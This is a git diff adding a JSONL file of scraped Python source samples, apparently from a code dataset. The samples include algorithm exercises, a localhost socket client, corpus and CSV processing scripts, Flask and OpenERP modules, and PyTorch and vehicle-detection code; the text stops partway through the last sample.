diff --git "a/5737.jsonl" "b/5737.jsonl" new file mode 100644--- /dev/null +++ "b/5737.jsonl" @@ -0,0 +1,708 @@ +{"seq_id":"347689571","text":"'''\nGiven a string containing only digits, restore it by returning all possible valid IP \naddress combinations.\n\nExample:\n\nInput: \"25525511135\"\nOutput: [\"255.255.11.135\", \"255.255.111.35\"]\n'''\n\ndef restore_ip_addresses(s):\n result = []\n\n def backtrack(s, index, path):\n if index == 4:\n if not s: result.append(path[:-1])\n return \n for i in range(1, 4):\n if i <= len(s):\n if i == 1:\n backtrack(s[i:], index + 1, path + s[:i] + '.')\n elif i == 2 and s[0] != '0':\n backtrack(s[i:], index + 1, path + s[:i] + '.')\n elif i == 3 and s[0] != '0' and int(s[:3]) <= 255:\n backtrack(s[i:], index + 1, path + s[:i] + '.')\n\n backtrack(s, 0, '')\n return result","sub_path":"algorithms/backtracking/restore_ip_addresses.py","file_name":"restore_ip_addresses.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"410245607","text":"import socket\n\n# # 连接服务端以及发送数据\n# s = socket.socket()\n# s.connect((\"127.0.0.1\", 2018))\n# s.send(b\"hello\")\n#\n# # 接收数据\n# buffer = []\n# while True:\n# data = s.recv(1024)\n# if data:\n# buffer.append(data)\n# else:\n# break\n# result = \"\".join(buffer)\n#\n# s.close()\n\ns = socket.socket()\ns.connect(('127.0.0.1', 2018))\nprint(s.recv(1024).decode('utf-8'))\nfor data in [b'AAAAA', b'BBBBB', b'CCCCC']:\n s.send(data)\n print(s.recv(1024).decode('utf-8'))\ns.send(b'exit')\ns.close()\n","sub_path":"socket/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"271598337","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n'''\n Intruduction:\n *The class Filter which provides function to sanitize's garbage data.\n\n *This module will import counHanZi.py and execute filtering and counting\n in \"Main Work block\".\n'''\n\n\nfrom sanitize import omit\nfrom itertools import islice\nfrom bs4 import BeautifulSoup\nfrom conv_ChineseAlpha import convert\n\n\nclass Filter:\n def __init__(self):\n self.raw = str()\n self._corpora = list() # underscore leading means private\n self._strCorpora = str()\n self.corporaTotal = 0\n\n\n #=====================================================================\n def filter(self, src):\n ''' select main content in
內容
'''\n self.raw = src\n try:\n self.raw = self.raw.decode('big5', 'ignore').encode('utf-8')\n self.raw = self.raw.decode('utf-8')\n\n except:\n self.raw = self.raw.decode('utf-8', 'ignore')\n\n\n self.raw = convert(self.raw)\n soup = BeautifulSoup(self.raw, \"html.parser\")\n target = soup.findAll('div', {'id' : 'ctkeywordcontent'})\n\n\n for match in omit.finditer(str(target)):\n self._corpora.append(match.group())\n self.corporaTotal = len(self._corpora) \n return self._corpora\n #=====================================================================\n\n\n def str_filter(self, src):\n ''' select fuzzy content in

...

'''\n self.raw = src\n \n\n ''' ChinaTimes RSS News Decoding '''\n try:\n self.raw = self.raw.decode('big5', 'ignore').encode('utf-8')\n self.raw = self.raw.decode('utf-8')\n\n except:\n self.raw = self.raw.decode('utf-8', 'ignore')\n\n\n self.raw = convert(self.raw)\n soup = BeautifulSoup(self.raw, \"html.parser\")\n target = soup.findAll('div', {'id' : 'ctkeywordcontent'})\n\n \n for match in omit.finditer(str(target)):\n self._strCorpora += match.group()\n return self._strCorpora\n \n \n # Zip method that convert to biggrams\n #def splitBigrams(self, unigrams):\n # ''' python 3.X.X '''\n # return zip(unigrams, islice(unigrams, 1, None))\n\n # ''' python 2.7.5 ''' \n # #return izip(unigrams, islice(unigrams, 1, None))\n\n\n def split_N_grams(self, unigrams, N):\n return [unigrams[i:i+N] for i in range(len(unigrams)-(N-1))]\n\n\n# End of class\n\n","sub_path":"MainSpace/RSS/CT/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":2600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"369104437","text":"import os\nimport pandas\n\ndef csv_create(input_csv_folder, output_folder_path, spot):\n ''' This function takes a bulk IMARIS spot directory containing .csv files\n with the information for many samples within, and then makes individual\n directories for each of the samples with the same .csv files for each\n individual sample.'''\n\n # walks through the spot directory and finds the bulk .csv files\n for root, dirs, files in os.walk(input_csv_folder):\n for file in files:\n if file.endswith(\".csv\"):\n # This skips the Overall.csv which doesn't contain the\n # 'Original Image Name' column which is later used for grouping\n if not \"Overall\" in file:\n csv_path = os.path.join(root, file)\n # splits the filename for naming purposes\n fil_split = file.split(\"_\")\n fil = '_'.join(fil_split[2:])\n # reads each of the .csv files\n df = pandas.read_csv(csv_path, header=[2])\n # Creates groups of the data based on individual strings\n # in the 'Original Image Name' column and puts them in\n # respective newly created directories in the output folder\n for id, data in df.groupby(\"Original Image Name\"):\n orig_dir_name = id.split(\"_\")\n orig_dir_name_pre = '_'.join(orig_dir_name[:-2])\n id_dir = os.path.join(output_folder_path, orig_dir_name_pre)\n #group = '_'.join(orig_dir_name[:-4])\n spot_dir = orig_dir_name_pre + \"_\" + spot + \"_statistics\"\n spot_dir_path = os.path.join(id_dir, spot_dir)\n if not os.path.exists(id_dir):\n os.mkdir(id_dir)\n if not os.path.exists(spot_dir_path):\n os.mkdir(spot_dir_path)\n sav_loc = os.path.join(spot_dir_path, \"{}\".format(fil))\n heady = \"Made with\\nISTL\\n\"\n with open(sav_loc, 'w', encoding='utf-8') as file:\n file.write(heady)\n data.to_csv(file, index=False, line_terminator='\\n', encoding='utf-8')\n print(file)\n","sub_path":"imaris_to_lam/istl.py","file_name":"istl.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"640810145","text":"a=input()\nanswer=[]\nfor i in range(int(a)):\n b={}\n c={}\n bs=input()\n cs=input()\n\n for j in cs:\n if j in c:\n c[j]+=1\n else:\n c[j]=1\n b[j]=0\n head,appendage=0,0\n def check():\n for j in c.keys():\n if b[j]appendage-head+1:\n minmum=min(minmum,appendage-head+1)\n ans=bs[head:appendage+1]\n head += 1\n if bs[head-1] in cs:\n b[bs[head-1]]-=1\n else:\n appendage+=1\n if appendage>=len(bs):\n break\n else:\n if bs[appendage] in cs:\n b[bs[appendage]]+=1\n\n if minmum<=len(bs):\n answer.append(ans)\n else:\n answer.append(-1)\nfor i in range(int(a)):\n if i!=int(a)-1:\n print(answer[i])\n else:\n print(answer[i],end=\"\")","sub_path":"Code/CodeRecords/2210/60621/259840.py","file_name":"259840.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"616323245","text":"from django.test import TestCase\nfrom .models import Comment\nfrom persons.models import Person\nfrom companies.models import Company\nfrom faker import Faker\nimport random\n\nfake = Faker()\ncompany_id = None\nperson_id = None\ncomment_ids = []\n\n# Create your tests here.\nclass CommentModelTests(TestCase):\n def setUp(self):\n for _ in range(2):\n c_name = fake.company()\n c_name = c_name.rstrip()\n c_name = c_name.lstrip()\n canonical_name = c_name.replace(' ', '-')\n company = Company.objects.create(name=c_name, canonical_name=canonical_name, score_avg=random.randint(10, 50)/10) \n company_id = company.get_id()\n\n person = Person.objects.create(public_name=fake.name(), email_address=fake.email(), is_verified=True) \n person_id = person.get_id()\n\n for _ in range(4):\n cmt_text = fake.sentence(nb_words=10, variable_nb_words=True, ext_word_list=None)\n comment = Comment.objects.create(\n company_id=company_id, \n person_id=person_id,\n original_comment=cmt_text,\n redacted_comment=cmt_text,\n is_publish=True,\n )\n comment_ids.append(comment.get_id())\n\n def test_get_comments(self):\n comments = Comment.objects.all()\n self.assertIs(len(comments), len(comment_ids))\n\n\n","sub_path":"comments/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"220578162","text":"from flask import Flask, render_template\nfrom views.home import index\nfrom views.network import network\nfrom models import path\nimport os\napp = Flask(__name__)\n\napp.config.update(dict(\n DATABASE=os.path.join(app.root_path, 'test.db'),\n DEBUG=True,\n SECRET_KEY='development key',\n USERNAME='admin',\n PASSWORD='default'\n))\npath.db_path = app.config['DATABASE']\napp.register_blueprint(index, url_prefix='/home')\napp.register_blueprint(network, url_prefix='/network')\n\n@app.route('/')\ndef hello_world():\n path.db_path = app.config['DATABASE']\n return render_template('login.html')\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0')\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"643582425","text":"import pandas as pd\nimport os\nimport numpy as np\nimport torch\nfrom torch.autograd import Variable\nimport torch.nn as nn\nfrom torchvision import transforms, utils\nfrom torch import optim\n# from torch.utils.data import Dataset, DataLoader\nimport torch.utils.data as Data\n\n\nBATCH_SIZE = 64\n\ntrain_file = '../data/santander-customer-transaction-prediction/train.csv'\ntest_file = '../data/santander-customer-transaction-prediction/test.csv'\n\ntrain_data_original = pd.read_csv(train_file).values\n\ntest_data = pd.read_csv(test_file).values\n\n# print(train_data)\n# print(type(train_data))\n\ntrain_data = train_data_original[:180000]\nvalidate_data = train_data_original[180000:]\n\ntrain_data = np.array(train_data[:, 1:], dtype=np.float32)\nvalidate_data = np.array(validate_data[:, 1:], dtype=np.float32)\n\n# print(train_data)\n# print(type(train_data))\n\ndef data_process(data):\n np.random.shuffle(data)\n\n x_data = data[:BATCH_SIZE, 1:]\n y_data = data[:BATCH_SIZE, 0:1]\n\n x_data_tensor = torch.from_numpy(x_data).reshape(BATCH_SIZE, 2, 10, 10)\n y_data_tensor = torch.from_numpy(y_data).long()\n # y_data_tensor = y_data_tensor.long\n # y_data_tensor = y_data_tensor.clone(dtype=torch.long).detach()\n # y_data_tensor = torch.tensor(y_data_tensor, dtype=torch.long)\n\n return x_data_tensor, y_data_tensor\n\n# x_train_data, y_train_data = data_process(train_data)\n# print(x_train_data, x_train_data.shape)\n# print(y_train_data, y_train_data.shape)\n#\n# x_validate_data, y_validate_data = data_process(validate_data)\n# print(x_validate_data, x_validate_data.shape)\n# print(y_validate_data, y_validate_data.shape)\n\n#\n# x_train = train_data[:, 2:].reshape(180000, 10, 10, 2)\n# y_train = train_data[:, 1:2]\n# x_validate = validate_data[:, 2:].reshape(20000, 10, 10, 2)\n# y_validate = validate_data[:, 1:2]\n# print(x_train, y_train)\n# print(x_train.shape, y_train.shape)\n# print('------------------')\n# print(x_validate, y_validate)\n# print(x_validate.shape, y_validate.shape)\n\n# print(train_data_matrix)\n#\n\n# x_test = test_data[:, 1:]\n# print(train_data.columns)\n#\n#\n\n\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv1 = nn.Conv2d(2, 12, kernel_size=3, stride=1, padding=2)\n self.conv2 = nn.Conv2d(12, 32, kernel_size=2, stride=1)\n self.conv3 = nn.Conv2d(32, 240, kernel_size=2, stride=1)\n\n self.mp = nn.MaxPool2d(kernel_size=2)\n\n self.relu = nn.ReLU()\n\n self.fc1 = nn.Linear(240, 100)\n self.fc2 = nn.Linear(100, 2)\n # self.fc3 = nn.Linear(60, 2)\n\n self.softmax = nn.LogSoftmax(dim=1)\n\n def forward(self, input):\n in_size = input.size(0)\n convolution1 = self.conv1(input)\n maxpooling1 = self.mp(convolution1)\n relu1 = self.relu(maxpooling1)\n\n convolution2 = self.conv2(relu1)\n maxpooling2 = self.mp(convolution2)\n relu2 = self.relu(maxpooling2)\n\n convolution3 = self.conv3(relu2)\n relu3 = self.relu(convolution3)\n\n out = relu3.view(in_size, -1)\n\n fullconnect1 = self.fc1(out)\n relu4 = self.relu(fullconnect1)\n\n fullconnect2 = self.fc2(relu4)\n # relu5 = self.relu(fullconnect2)\n\n # fullconnect3 = self.fc3(relu5)\n\n out = self.softmax(fullconnect2)\n\n return out\n\n\nnet = Net()\n# print(net)\n\n\noptimizer = optim.SGD(net.parameters(), lr=0.3)\nloss_function = nn.NLLLoss()\n\nfor epoch in range(20):\n for t in range(200):\n x_train_data, y_train_data = data_process(train_data)\n data = Variable(x_train_data)\n target = Variable(y_train_data)\n prediction = net(data)\n loss = loss_function(prediction, target.squeeze())\n print('epoch: {}, times: {}, loss: {:.8f}'.format(epoch, t, loss.data))\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n","sub_path":"santander_customer_transaction_prediction.py","file_name":"santander_customer_transaction_prediction.py","file_ext":"py","file_size_in_byte":3837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"348279454","text":"from __future__ import print_function\n\nimport sys\nimport optparse\nfrom CWB.CL import Corpus\n\ntry:\n from pathconfig import load_configuration\n ctx = load_configuration('pynlp')\n CQP_REGISTRY = ctx.get_config_var('pycwb.cqp_registry')\nexcept ImportError:\n CQP_REGISTRY = None\nexcept KeyError:\n CQP_REGISTRY = None\n\n__doc__ = '''\nthis module is suitable for converting CQP corpora into\nCoNLL(-09) format with some empty columns. This allows\nfurther processing by tools such as the MATE toolchain.\n'''\n\n\ndef output_sentences(sent_attr, attrs, sent_start=0, sent_end=None, f_out=None):\n if sent_end is None:\n sent_end = len(sent_attr)\n if f_out is None:\n f_out = sys.stdout\n for sent_no in xrange(sent_start, sent_end):\n (off_start, off_end) = sent_attr[sent_no][:2]\n for i in xrange(off_start, off_end + 1):\n line = [str(i + 1 - off_start)]\n for (k, att) in enumerate(attrs):\n if att is None:\n line.append('_')\n else:\n s = att[i]\n if k in [7, 8]:\n if s[0] in '-+':\n s = str(i + 1 - off_start + int(s))\n elif s == 'ROOT':\n s = '0'\n line.append(s)\n print('\\t'.join(line))\n print()\n\n\ndef output_sentences_line(sent_attr, attrs, sent_start=0, sent_end=None, f_out=None):\n if sent_end is None:\n sent_end = len(sent_attr)\n if f_out is None:\n f_out = sys.stdout\n for sent_no in xrange(sent_start, sent_end):\n (off_start, off_end) = sent_attr[sent_no][:2]\n line = attrs[0][off_start:off_end + 1]\n print(' '.join(line), file=f_out)\n\n\ndef output_sentences_bllip(sent_attr, attrs, sent_start=0, sent_end=None,\n f_out=None, corpus_name='corpus', max_len=None):\n if sent_end is None:\n sent_end = len(sent_attr)\n if f_out is None:\n f_out = sys.stdout\n for sent_no in xrange(sent_start, sent_end):\n (off_start, off_end) = sent_attr[sent_no][:2]\n if max_len is not None and off_end - off_start >= max_len:\n continue\n line = attrs[0][off_start:off_end + 1]\n print(' %s ' % (corpus_name,\n sent_no, ' '.join(line)),\n file=f_out)\n\noparse = optparse.OptionParser(usage='''%prog [options] CORPUS\nextracts parts of a corpus in CoNLL (or other) format''')\noparse.add_option('--fmt', dest='fmt',\n help='output format (default: conll)',\n default='conll',\n choices=['conll', 'line', 'bllip'])\n## oparse.add_option('--encoding', dest='encoding',\n## default=None)\noparse.add_option('-P', dest='xcolumns',\n help='add an attribute to print out (with N=ATT for Nth column)',\n default=[], action='append')\noparse.add_option('-l', '--max-length', dest='max_len',\n help='do not print sentences longer than MAX_LEN')\n\n\ndef main(argv=None):\n (opts, args) = oparse.parse_args(argv)\n if not args:\n oparse.print_help()\n sys.exit(1)\n corpus_name = args[0]\n if len(args) == 3:\n sent_start = int(args[1])\n sent_end = int(args[2])\n elif len(args) == 2:\n sent_start = 0\n sent_end = int(args[1])\n else:\n sent_start = 0\n sent_end = None\n columns = [None] * 14\n corpus = Corpus(corpus_name, registry_dir=CQP_REGISTRY)\n columns[0] = corpus.attribute('word', 'p')\n sent_attr = corpus.attribute('s', 's')\n if opts.fmt == 'conll':\n idx = 1\n for col in opts.xcolumns:\n if '=' in col:\n s_idx, att_name = col.split('=')\n s_idx = int(s_idx)\n else:\n s_idx = idx\n att_name = col\n columns[s_idx] = corpus.attribute(att_name, 'p')\n idx = s_idx + 1\n output_sentences(sent_attr, columns, sent_start, sent_end)\n elif opts.fmt == 'line':\n output_sentences_line(sent_attr, columns, sent_start, sent_end)\n elif opts.fmt == 'bllip':\n output_sentences_bllip(sent_attr, columns, sent_start, sent_end,\n corpus_name=corpus_name, max_len=opts.max_len)\n\nif __name__ == '__main__':\n main()\n","sub_path":"cwb_python/CWB/tools/cqp2conll.py","file_name":"cqp2conll.py","file_ext":"py","file_size_in_byte":4390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"400430871","text":"from astropy.io import fits\nfrom astropy.wcs import WCS\nfrom spectral_cube import SpectralCube\nimport matplotlib.pyplot as plt\n\nfn = 'img_default_CO_J1-0_LTE_jypxl_edgeon.fits'\nhdu = fits.open(fn)[0]\nhdu.header['CUNIT3'] = 'm/s' \nw = WCS(hdu.header)\ncube = SpectralCube(data=hdu.data.squeeze(), wcs=w.dropaxis(3))\n\nm0 = cube.moment(order=0)\nm1 = cube.moment(order=1)\nm0.write('moment0_'+fn, overwrite=True)\nm1.write('moment1_'+fn, overwrite=True)\n\nfig, ax = plt.subplots(ncols=2, subplot_kw = {'projection': w.celestial}, figsize = (12,6))\n\nim0 = ax[0].imshow(m0.array, cmap='hot', origin='lower')\nim1 = ax[1].imshow(m1.array, cmap='nipy_spectral', origin='lower')\n\ncb0 = fig.colorbar(im0, ax=ax[0], orientation='horizontal', format='%.2f', pad=0.1)\ncb1 = fig.colorbar(im1, ax=ax[1], orientation='horizontal', pad=0.1)\n\nax[0].set_title('Moment 0 - edgeon', fontsize = 14)\nax[1].set_title('Moment 1 - edgeon', fontsize = 14)\ncb0.set_label(r'Jy pxl$^{-1}$ m s$^{-1}$', fontsize = 14)\ncb1.set_label(r'm s$^{-1}$', fontsize = 14)\n\nplt.tight_layout(pad=2.0)\nfig.savefig('defaultfilament_moments_edgeon.png')\n","sub_path":"examples/filaments/filament_default/make_moment.py","file_name":"make_moment.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"594797792","text":"#!/usr/bin/python3\n\"\"\"all default RestFul API actions\"\"\"\nfrom api.v1.views import app_views\nfrom models.amenity import Amenity\nfrom models import storage\nfrom flask import jsonify, abort, request\n\n\n@app_views.route(\"/amenities\", methods=['GET'])\ndef get_amenities():\n \"\"\"Retrieves the list of all\"\"\"\n all_amenities = storage.all('Amenity').values()\n dict_amenities = [obj.to_dict() for obj in all_amenities]\n return jsonify(dict_amenities)\n\n\n@app_views.route(\n \"/amenities/\",\n methods=['GET'])\ndef get_amenitie(amenity_id):\n \"\"\"Retrieves a Amenity object\"\"\"\n obj_ameni = storage.get(Amenity, amenity_id)\n if obj_ameni is None:\n abort(404)\n else:\n return jsonify(obj_ameni.to_dict())\n\n\n@app_views.route(\n \"/amenities/\",\n methods=['DELETE'])\ndef delete_ameniti(amenity_id):\n \"\"\"Deletes a Amenity object\"\"\"\n obj_ameni = storage.get(Amenity, amenity_id)\n if obj_ameni is None:\n abort(404)\n else:\n storage.delete(obj_ameni)\n storage.save()\n return jsonify({})\n\n\n@app_views.route(\n \"/amenities\",\n methods=['POST'])\ndef create_amenity():\n \"\"\"Creates a Amenity\"\"\"\n dict_request = request.get_json(silent=True)\n if dict_request is None:\n return \"Not JSON\", 400\n elif 'name' not in dict_request:\n return \"Missing name\", 400\n else:\n new_amenity = Amenity(**dict_request)\n storage.new(new_amenity)\n storage.save()\n return jsonify(new_amenity.to_dict()), 201\n\n\n@app_views.route(\n \"/amenities/\",\n methods=['PUT'])\ndef update_amenity(amenity_id):\n \"\"\"Updates a Amenity objec\"\"\"\n dict_request = request.get_json(silent=True)\n if dict_request is None:\n return \"Not JSON\", 400\n obj_ameni = storage.get('Amenity', amenity_id)\n if obj_ameni is None:\n abort(404)\n ignore = ['id', 'created_at', 'updated_at']\n obj_ameni.save()\n for k, v in dict_request.items():\n if k not in ignore:\n setattr(obj_ameni, k, v)\n storage.save()\n return jsonify(obj_ameni.to_dict())\n","sub_path":"api/v1/views/amenities.py","file_name":"amenities.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"103477908","text":"i= int(input('Kaç sayinin en büyüğü alinacak: '))\n\nliste = []\nfor each in range(1, i+1):\n x = int(input(f'{each}. sayiyi girin: '))\n liste.append(x)\nen_buyuk = liste[0]\n\nfor sayi in liste:\n if sayi > en_buyuk:\n en_buyuk=sayi\nliste.sort(int)\n\nprint(f'{liste} \\nIcerisinden en büyük sayi: {en_buyuk}')","sub_path":"merte/08.n_kadar_en_buyuk_sayi.py","file_name":"08.n_kadar_en_buyuk_sayi.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"508476333","text":"# -*- encoding: utf-8 -*-\n##############################################################################\n#\n# OpenERP, Open Source Management Solution\t\n# Copyright (C) 2004-2009 Tiny SPRL (). All Rights Reserved\n# $Id$\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n#\n##############################################################################\n\n\nimport wizard\nimport netsvc\nimport pooler\nimport time\nfrom osv.orm import browse_record\n\nclass wiz_my_purchase_orders_open(wizard.interface):\n def _open_my_purchase_orders(self, cr, uid, data, context):\n cr.execute(\"Select id from purchase_order where (user_purchase=%d and state<>'draft') or user_id=%d\" % (uid,uid))\n purchase_id = cr.fetchall()\n \n value = {\n 'domain': \"[('id', 'in', \"+str(purchase_id)+\")]\",\n 'name': 'My Purchase Orders',\n 'view_type': 'form',\n 'view_mode': 'tree,form',\n 'res_model': 'purchase.order',\n 'view_id': False,\n 'type': 'ir.actions.act_window'\n }\n return value\n\n states = {\n 'init' : {\n 'actions' : [],\n 'result' : {'type':'action', 'action':_open_my_purchase_orders, 'state':'end'}\n }\n }\nwiz_my_purchase_orders_open('my.purchase.orders.open')\n\nclass wiz_my_purchase_project_open(wizard.interface):\n def _open_my_project_order(self, cr, uid, data, context):\n cr.execute('Select order_id from purchase_order_line,account_analytic_account a where account_analytic_id=a.id and user_id=%d' % uid )\n purchase_id = cr.fetchall()\n \n value = {\n 'domain': \"[('id', 'in', \"+str(purchase_id)+\")]\",\n 'name': 'My Project Orders',\n 'view_type': 'form',\n 'view_mode': 'tree,form',\n 'res_model': 'purchase.order',\n 'view_id': False,\n 'type': 'ir.actions.act_window'\n }\n return value\n\n states = {\n 'init' : {\n 'actions' : [],\n 'result' : {'type':'action', 'action':_open_my_project_order, 'state':'end'}\n }\n }\nwiz_my_purchase_project_open('my.project.orders.open')\n\nclass wiz_my_department_orders_open(wizard.interface):\n def _open_my_department_order(self, cr, uid, data, context):\n cr.execute(\"select id from purchase_order where (user_id in (select user_id from hr_department d,hr_department_user_rel where d.id=department_id and manager_id=%d)) or (user_purchase in (select user_id from hr_department d,hr_department_user_rel where d.id=department_id and manager_id=%d)) and state<>'draft'\" % (uid,uid))\n purchase_id = cr.fetchall()\n\n value = {\n 'domain': \"[('id', 'in', \"+str(purchase_id)+\")]\",\n 'name': 'My Department Orders',\n 'view_type': 'form',\n 'view_mode': 'tree,form',\n 'res_model': 'purchase.order',\n 'view_id': False,\n 'type': 'ir.actions.act_window'\n }\n return value\n\n states = {\n 'init' : {\n 'actions' : [],\n 'result' : {'type':'action', 'action':_open_my_department_order, 'state':'end'}\n }\n }\nwiz_my_department_orders_open('my.department.orders.open')\n\nclass wiz_relative_department_orders_open(wizard.interface):\n def _open_relative_department_order(self, cr, uid, data, context):\n cr.execute('select id from purchase_order where user_purchase in (select user_id from hr_department d,hr_department_user_rel where d.id=department_id and manager_id=%d)' % uid )\n purchase_id = cr.fetchall()\n\n value = {\n 'domain': \"[('id', 'in', \"+str(purchase_id)+\")]\",\n 'name': 'Relative Department Orders',\n 'view_type': 'form',\n 'view_mode': 'tree,form',\n 'res_model': 'purchase.order',\n 'view_id': False,\n 'type': 'ir.actions.act_window'\n }\n return value\n\n states = {\n 'init' : {\n 'actions' : [],\n 'result' : {'type':'action', 'action':_open_relative_department_order, 'state':'end'}\n }\n }\nwiz_relative_department_orders_open('relative.department.orders.open')\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n\n","sub_path":"src/purchase/wizard/wizard_purchase_department.py","file_name":"wizard_purchase_department.py","file_ext":"py","file_size_in_byte":4882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"567016503","text":"#-*-coding:utf-8-*-\n\n# Given an array of meeting time intervals consisting of start and end times\n# [[s1,e1],[s2,e2],...] (si < ei), find the minimum number of conference rooms\n# required.\n#\n# For example,\n# Given [[0, 30],[5, 10],[15, 20]],\n# return 2.\n#\n\nimport heapq\n# Definition for an interval.\nclass Interval(object):\n def __init__(self, s=0, e=0):\n self.start = s\n self.end = e\n\nclass Solution(object):\n def minMeetingRooms(self, intervals):\n \"\"\"\n :type intervals: List[Interval]\n :rtype: int\n \"\"\"\n starts = [i.start for i in intervals]\n ends = [i.end for i in intervals]\n starts.sort()\n ends.sort()\n end = 0\n res = 0\n # 先把start, end 都排序。\n # 然后如果start >=\n # end,那么说明,start这一个会议,可以和end那一组会议公用一个会议室。然后,\n # 这个会议室的结束时间就不再是现在的end了。而要往后延。\n # 如果 start < end, 那么必须开一个会议室,counter++\n for i in range(len(intervals)):\n if starts[i] < ends[end]:\n res += 1\n else:\n end += 1\n return res\n\n # 使用最小堆来维护所有已安排会议的结束时间,来一个新会议,仍然是比较其start 和\n # 当前最早结束会议时间,若 start >= 最早结束时间,说明该会议可安排,\n # 就安排在最早结束那个会议的room,需要从最小堆中删除堆顶元素,\n # 将新会议的结束时间插入堆中,否则新增会议室。\n def minMeetingRooms_2(self, intervals):\n \"\"\"\n :type intervals: List[Interval]\n :rtype: int\n \"\"\"\n if not intervals:\n return 0\n n = len(intervals)\n intervals = sorted(intervals, key=lambda x:x.start)\n pq = [intervals[0].end]\n for i in range(1, n):\n if intervals[i].start >= pq[0]:\n heapq.heappop(pq)\n heapq.heappush(pq, intervals[i].end)\n return len(pq)\n\ns = Solution()\nl = [(1, 10), (2, 7), (3, 19), (8, 12), (10, 20), (11, 30)]\nintervals = [Interval(x, y) for x, y in l]\nprint(s.minMeetingRooms_2(intervals))\n","sub_path":"src/leetcode/LC_253_meeting_rooms2.py","file_name":"LC_253_meeting_rooms2.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"284468460","text":"from Script import Script\nfrom ScriptOptions import ScriptOption\nclass SingleColor(Script):\n\tpos = 10\n\tdef __init__(self, main):\n\t\tScript.__init__(self, main, \"SingleColor\")\n\t\tself.options.append(ScriptOption(\"color\", \"colorpicker\",\"150,0,150\",[]))\n\n\tdef next(self):\n\t\tc = self.getOption(0).split(\",\")\n\t\tself.setAll(int(c[0]),int(c[1]),int(c[2]))\n\t\tself.show()\n\t\tself.sleepMils(1)","sub_path":"python/scripts/SingleColor.py","file_name":"SingleColor.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"175817466","text":"#!/usr/bin/env python\n\"\"\"\nClassifierTrainingPipeline.py is a pipeline for detecting vehicles in a video\nCreated 6/10/17.\n\"\"\"\n__author__ = \"Alexander Ponamarev\"\n__email__ = \"alex.ponamaryov@gmail.com\"\n\nfrom matplotlib import pyplot as plt\nfrom src.utils import find_cars, add_heat, apply_threshold, draw_labeled_bboxes, draw_bboxes\nfrom scipy.ndimage.measurements import label\nfrom moviepy.editor import VideoFileClip\nimport numpy as np\nimport cv2\n\n\n\nclass VehicleDetection(object):\n \"\"\"\n VehicleDetection class provides a pipeline for detecting vehicles over multiple video _frames and visualizing result.\n \"\"\"\n def __init__(self, classifier, scaller, config, scales=[1.0, 1.5, 2.0, 2.5, 3.0], ystart=400, frame_buffer=4, threshold=6):\n required_config_fields = ['orientations', 'pix_per_cell',\n 'cell_per_block', 'cmap',\n 'hist_bins', 'spatial_size']\n for field in required_config_fields:\n assert field in config.keys(), \"Error! Provided config does not contain {} filed\".format(field)\n\n self.orien = config['orientations']\n self.pix_per_cell = config['pix_per_cell']\n self.cell_per_block = config['cell_per_block']\n self.cmap = config['cmap']\n self.hist_bins = config['hist_bins']\n self.spatial_size = config['spatial_size']\n self.classifier = classifier\n self.scaller = scaller\n self.scales = scales\n self.ystart = ystart\n self.kernel = 64\n self.kernel2search_factor = 1.25\n self._frames = frame_buffer\n self._bbox_buffer = []\n self._threshold = threshold\n\n\n def detect(self, img):\n \"\"\"\n detect method is designed to detect vehicles in an image in various scales\n :return labeled image, bouding boxes\n \"\"\"\n # 1. Create a heat map\n heatmap = np.zeros_like(img[:,:,0], dtype=np.uint8)\n # 2. Detect bounding boxes on multiple scales\n multiple_scale_bboxes = []\n for scale in self.scales:\n ystop = int(self.ystart + scale * self.kernel * self.kernel2search_factor)\n bounding_boxes = find_cars(img, self.ystart, ystop, scale, self.classifier, self.scaller,\n orient=self.orien,\n pix_per_cell=self.pix_per_cell,\n cell_per_block=self.cell_per_block,\n cmap=self.cmap,\n spatial_size=self.spatial_size,\n hist_bins=self.hist_bins)\n 